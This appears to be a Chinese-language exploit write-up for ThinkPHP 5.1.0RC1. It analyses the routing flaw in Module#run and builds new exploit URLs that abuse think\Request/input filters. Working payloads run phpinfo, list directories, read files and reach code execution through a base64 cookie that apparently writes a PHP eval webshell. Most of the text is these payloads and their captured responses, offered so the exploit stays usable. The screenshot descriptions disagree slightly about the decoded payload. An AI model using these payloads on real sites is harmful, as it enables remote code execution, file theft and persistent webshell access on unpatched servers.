

简介
分析

method 漏洞
路由漏洞
EXP构造

简介

- ThinkPHP5.1.0RC1 在5.0的基础上对底层架构做了进一步的改进，引入新特性，并提升版本要求。ThinkPHP5.1运行环境要求PHP5.6+，虽然不支持5.0的无缝升级，但升级过程并不复杂（请参考升级指导）。

主要新特性：

1. 引入容器和Facade支持
2. 依赖注入完善和支持更多场景
3. 重构的（对象化）路由
4. 配置和路由目录独立
5. 取消系统常量
6. 助手函数增强
7. 类库别名机制
8. 模型和数据库增强
9. 验证类增强
10. 模板引擎改进
11. 支持PSR-3日志规范

分析

ThinkPHP5.1.0RC1 与 5.0 相比框架底层做了一些修改，之前常用的ThinkPHP的 method 漏洞和路由漏洞POC无法在该版本上使用，但是漏洞根源点依然存在。因此，结合该版本框架特性对EXP做出了相应修改，以便继续使用

method 漏洞

- 之前对漏洞的利用都是基于 `think\Request#__construct` 方法，不过在该版本下，该方法的参数有了直接的变化，无法直接利用

```
public function __construct(Config $config, $options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }

    $this->config = $config;

    if (is_null($this->filter)) {
        $this->filter = $this->config->get('default_filter');
    }
}
```

```
// 保存 php://input
$this->input = file_get_contents('php://input');
}
```

路由漏洞

- 该版本依然存在路由漏洞，关键点在 `think\route\dispatch\Module#run` 方法中，没有对获取到的控制器名进行校验

```
$convert = is_bool($this->convert) ? $this->convert : $this->app->config('app.url_convert');
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->app->config('app.default_controller'));
$controller = $convert ? strtolower($controller) : $controller;

// 获取操作名
$actionName = strip_tags($result[2] ?: $this->app->config('app.default_action'));
$actionName = $convert ? strtolower($actionName) : $actionName;

// 设置当前请求的控制器、操作
$this->app['request']->controller(Loader::parseName($controller, 1))->action($actionName);
```

- 不过该版本框架底层发生了改变，之前常用的类和方法也发生了变化，导致EXP失效

EXP构造

- 构造基本思想为对路由漏洞的利用，通过寻找其它可利用的类来构造新的EXP
- 通过一系列查找，最终发现可供利用的方法 `think\Request#input`

```
/**
 * 获取变量 支持过滤和默认值
 * @param array $data 数据源
 * @param string|false $name 字段名
 * @param mixed $default 默认值
 * @param string|array $filter 过滤函数
 * @return mixed
 */
public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }

    $name = (string) $name;
    if ('' !== $name) {
        // 解析name
        if (strpos($name, '/') {
            list($name, $type) = explode('/', $name);
        } else {
```

```

        $type = 's';
    }
    // 按.拆分成多维数组进行判断
    foreach (explode('.', $name) as $val) {
        if (isset($data[$val])) {
            $data = $data[$val];
        } else {
            // 无输入数据, 返回默认值
            return $default;
        }
    }
    if (is_object($data)) {
        return $data;
    }
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
    array_walk_recursive($data, [$this, 'filterValue'], $filter);
    reset($data);
} else {
    $this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
    // 强制类型转换
    $this->typeCast($data, $type);
}

return $data;
}

```

- 根据该方法参数, 构造POC如下:

1. phpinfo

- EXP: `?s=index/think\Request/input&data[0]=1&filter[0]=phpinfo`

The screenshot shows a web browser interface with two main panels: Request and Response.

Request Panel: Shows a GET request to `?s=index/think\Request/input&data[0]=1&filter[0]=phpinfo`. The raw request text includes headers like `Host: localhost`, `sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"`, `sec-ch-ua-mobile: ?0`, `sec-ch-ua-platform: "Windows"`, `Upgrade-Insecure-Requests: 1`, `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36`, `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9`, `Purpose: prefetch`, `Sec-Fetch-Site: none`, `Sec-Fetch-Mode: navigate`, `Sec-Fetch-User: ?1`, `Sec-Fetch-Dest: document`, `Accept-Encoding: gzip, deflate`, `Accept-Language: zh-CN, zh;q=0.9`, and `Connection: close`.

Response Panel: Shows the output of `phpinfo()` for PHP 7.3.4. The response is a detailed system information page with the following key sections:

System	Windows NT DESKTOP-GSNGKV8 10.0 build 19044 (Windows 10) AMD64
Build Date	Apr 2 2019 21:50:57
Compiler	MSVC15 (Visual C++ 2017)
Architecture	x64
Configure Command	cmdscript /nologo configure.js "--enable-snapshot-build"--enable-debug-pack"--disable-zts"--with-pdo-oci=c:\php-snap-build\deps_aux\oci\oci4instantclient_12_1\tdk\shared"--with-oc8-12c=c:\php-snap-build\deps_aux\oci\oci4instantclient_12_1\tdk\shared"--enable-object-out-dir=.obj"--enable-com-dotnetshared"--without-embed"--with-egg"
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\WINDOWS
Loaded Configuration File	C:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20180731
PHP Extension	20180731
Zend Extension	320180731
Zend Extension Build	API320180731.NTS.VC15
PHP Extension Build	API20180731.NTS.VC15
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	disabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
IPv6 Support	enabled
DTrace Support	disabled
Registered PHP Streams	php, file, glob, data, http, ftp, zip, compress.zlib, https, ftps, phar
Registered Stream Socket Transports	tcp, udp, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filters	convert.iconv*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, zip.*

2. 读取目录

- EXP: ?

```
s=index/think\Request/input&data[0]=C:\\Users\\admin\\Desktop\\thinkphp_5.1.0_rc&filter[0]=scandir&filter[1]=var_dump
```

The screenshot shows a web browser's developer tools with the Request and Response tabs open. The Request tab shows a GET request to `s=index/think\Request/input&data[0]=C:\\Users\\admin\\Desktop\\thinkphp_5.1.0_rc&filter[0]=scandir&filter[1]=var_dump`. The Response tab shows a JSON array of file names: `array(19) { [0]=> string(1) "." [1]=> string(2) ".. [2]=> string(10) ".sitignore [3]=> string(11) ".travis.yml [4]=> string(7) ".vscode [5]=> string(11) "LICENSE.txt [6]=> string(9) "README.md [7]=> string(11) "application [8]=> string(9) "build.php [9]=> string(13) "composer.json [10]=> string(6) "config [11]=> string(6) "extend [12]=> string(6) "public [13]=> string(5) "route [14]=> string(7) "runtime [15]=> string(8) "test.php [16]=> string(1) "." [17]=> string(1) "." [18]=> string(1) "." }`

3. 读取文件内容

- EXP: ?

```
s=index/think\Request/input&data[0]=C:\\Users\\admin\\Desktop\\thinkphp_5.1.0_rc\\public\\index.php&filter[0]=highlight_file
```

The screenshot shows a web browser's developer tools with the Request and Response tabs open. The Request tab shows a GET request to `s=index/think\Request/input&data[0]=C:\\Users\\admin\\Desktop\\thinkphp_5.1.0_rc\\public\\index.php&filter[0]=highlight_file`. The Response tab shows the content of the file `C:\Users\admin\Desktop\thinkphp_5.1.0_rc\public\index.php`, which is a PHP script for handling requests. The response is rendered as HTML with syntax highlighting. A red error message is visible: `[0] InvalidArgumentException in Response.php line 323 variable type error: array`. The error message is highlighted in red.

4. 直接代码执行

- EXP: ?

```
s=index/think\Request/input&data[0]=0&filter[0]=error_reporting&filter[1]=Cookie::get&filter[2]=base64_decode&filter[3]=think\view\driver\Php:display
```

- Cookie:

```
32767=%50%44%39%77%61%48%41%67%5a%6d%6c%73%5a%56%39%77%64%58%52%66%59%32%39%75%64%47%56%75%64%48%4d%6f%49%6a%45%75%63%47%68%77%49%69%77%69%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%68%69%59%58%4e%6c%4e%6a%52%66%5
```

a%47%56%6a%62%32%52%6c%4b%46%77%6b%58%31%42%50%55%31%52%62%4a%32%4d%6e%
58%53%6b%70%4f%79%41%2f%50%69%49%70%4f%79%41%2f%50%67%3d%3d

The screenshot displays a web browser's developer tools interface. On the left, the 'Request' tab shows a GET request to `/?r=index&think\Request/INPUT&data[0]=0&filter[0]=error_reporting&filter[1]=Cookie: get&filter[2]=base64_decode&filter[3]=think\view\driver\PHP::display`. The 'Response' tab shows a PHP error message: `[0] InvalidArgumentException in Response.php line 323: variable type error: array`. The 'Inspector' tab shows the selected text, which is a Base64 encoded string. A red box highlights the 'Decoded from: Base64' section, showing the decoded payload: `<?php echo $_POST['c']; ?>`. A terminal window at the bottom shows the command: `public > 1 <?php eval(base64_decode($_POST['c'])); ?>`. The 'Environment Variables' section shows the GET data: `data ["0"]` and filter: `["error_reporting", "Cookie: get", "base64_decode", "think\view\driver\PHP::display"]`. The 'POST Data' section is empty.